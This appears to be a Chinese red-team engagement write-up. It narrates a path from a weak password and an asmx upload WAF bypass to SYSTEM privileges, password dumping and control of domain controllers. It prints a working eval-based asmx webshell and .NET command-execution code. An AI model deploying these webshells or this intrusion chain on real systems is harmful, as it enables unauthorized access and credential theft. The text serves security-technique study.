『红蓝对抗』从asmx马到两台域控

admin 2022年2月14日18:30:13评论341 views字数 2840阅读9分28秒阅读模式

点击蓝字 关注我们



日期:2022-02-14

作者:goout

介绍:前段时间,在做项目的时候遇到一个有趣的文件上传,技术摆烂,大家轻喷~


0x00 前言

无前言,直接看正文吧!

『红蓝对抗』从asmx马到两台域控

0x01 正文

在做某个项目时,发现系统存在弱口令。登录进去之后查看一遍功能,发现文件上传点还不少,几个上传功能。系统管理的附件配置无法修改,配置告诉我,这不是我能拿下的目标......

『红蓝对抗』从asmx马到两台域控

尝试了ashxaspascxasax之后,返回包都是空空如也,一直在waiting

『红蓝对抗』从asmx马到两台域控

又看了一遍自己曾经整理过的文件上传总结,再试试asmx

『红蓝对抗』从asmx马到两台域控

emmm......asmx的文件可以上传成功,这个时候我需要去找一个asmx的马上传上去试试。

『红蓝对抗』从asmx马到两台域控

先用哥斯拉生成一个asmx的木马进行尝试:

『红蓝对抗』从asmx马到两台域控

一直处于waiting状态。

『红蓝对抗』从asmx马到两台域控

打开我的小浏览器,希望它能给我带来奇迹~
借鉴了【探索基于.NET下实现一句话木马之asmx篇-Ivan1ee】[1]文章的一些经验,发现这个系统应该有WAF,只能上传这个木马:
<%@ WebService Language="JScript" class="ScriptMethodSpy"%>import System;import System.Web;import System.IO;import System.Web.Servicesimport System.Web.Script.Servicespublic class ScriptMethodSpy extends WebService{          WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void{            var I = HttpContext.Current;        var Request = I.Request;        var Response = I.Response;        var Server = I.Server;    Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href=' '>Ivan1ee</a ></H1>");        eval(Ivan);    }

执行DateTime.Now,确实可以输出当前时间。

『红蓝对抗』从asmx马到两台域控

但是不知道为什么,终究是无法执行其他任何命令......

重新打开我的小浏览器,尝试寻找asmxWAF的方法,果然又让我借鉴到一位大佬的经验。附上大佬的文章地址:【一次hvv中的asmx上传绕过waf记录--manager】[2]

文中写到:

『红蓝对抗』从asmx马到两台域控

下面大佬又贴出执行命令的原生代码:
var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("Y21k")));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c ***ipconfig /all***";e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());

用大佬的原生代码执行命令尝试,果然可以成功!

『红蓝对抗』从asmx马到两台域控

简简单单的普通权限,真是一言难尽。

『红蓝对抗』从asmx马到两台域控

内网开了3389

『红蓝对抗』从asmx马到两台域控

但是后续问题又来了......360全家桶......

『红蓝对抗』从asmx马到两台域控


整理一下思路,拿到普通用户权限:

(1)做个代理,提权,远程连接,干内网;

(2)做个代理,直接干内网;现在的问题是:如何传输工具,做代理出来。

360全家桶在线,思前想后我想不到任何办法去远程下载工具,工作一度陷入了死局。重新观摩一遍大佬的文章,发现他的文章里,是可以上传哥斯拉的asmx脚本文件的,且是可以绕过WAF的。

抱着不死心的态度重新试一遍哥斯拉的木马,并且给木马加了一个gif文件头,果然上传成功了,暗自悔恨自己的马虎,应该早先尝试一下加头。

『红蓝对抗』从asmx马到两台域控

哥斯拉的shell拿到之后,我第一想法是反弹到cs上(因为我习惯用cs去进行一些操作),先利用已经拿到的shell进行提权:

『红蓝对抗』从asmx马到两台域控

获取system权限后,试了手头上几个免杀,都无法绕过当前360一家,摆烂......哥斯拉本身是有注入程序的功能,这里我没多做研究,反手上传了一个冰蝎马,用了冰蝎的一键连上线了cs,有兴趣的,可以了解一下哥斯拉的ShellcodeLoaderde的使用方法。

『红蓝对抗』从asmx马到两台域控

上线cs后,系统是什么版本我忘记截图了,先读取一波密码。

『红蓝对抗』从asmx马到两台域控

ipconfig /all的截图也忘记保存了......查看完信息,第一反应就是,我应该能拿到域控了。
远程连接该服务器后,打开mstsc,发现服务器上有远程两台域控的记录,直接用读出的密码远程连接域控机器,发现该域内有大量可控制的用户和计算机。

『红蓝对抗』从asmx马到两台域控

证明拿到域控,诶?

『红蓝对抗』从asmx马到两台域控

原来还有一台域控,使用相同的密码远程登录上服务器,其能控制的机器与.2没有差别,客户并不主张内网横向太广,于是拿下3台域控后,又随便搞了几个数据库的弱口令,一些密码相同的服务器便停止了。

0x03 总结

我也不知道是幸运还是不幸,掏出来的147242278/42287也没用,就把域控拿下来了......

在整个过程中,就数asmx脚本原生代码执行命令那里有点意思,大家智者见智,有兴趣的去了解下大佬的文章吧。


『红蓝对抗』从asmx马到两台域控


References

[1] 【探索基于.NET下实现一句话木马之asmx篇-Ivan1ee】: https://www.cnblogs.com/Ivan1ee/p/10278625.html
[2] 【一次hvv中的asmx上传绕过waf记录--manager】: https://www.sec-in.com/article/854


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『红蓝对抗』从asmx马到两台域控

宸极实验室

Cyber Security Lab

『红蓝对抗』从asmx马到两台域控

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。


原文始发于微信公众号(宸极实验室):『红蓝对抗』从asmx马到两台域控

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月14日18:30:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』从asmx马到两台域控https://cn-sec.com/archives/777741.html

发表评论

匿名网友 填写信息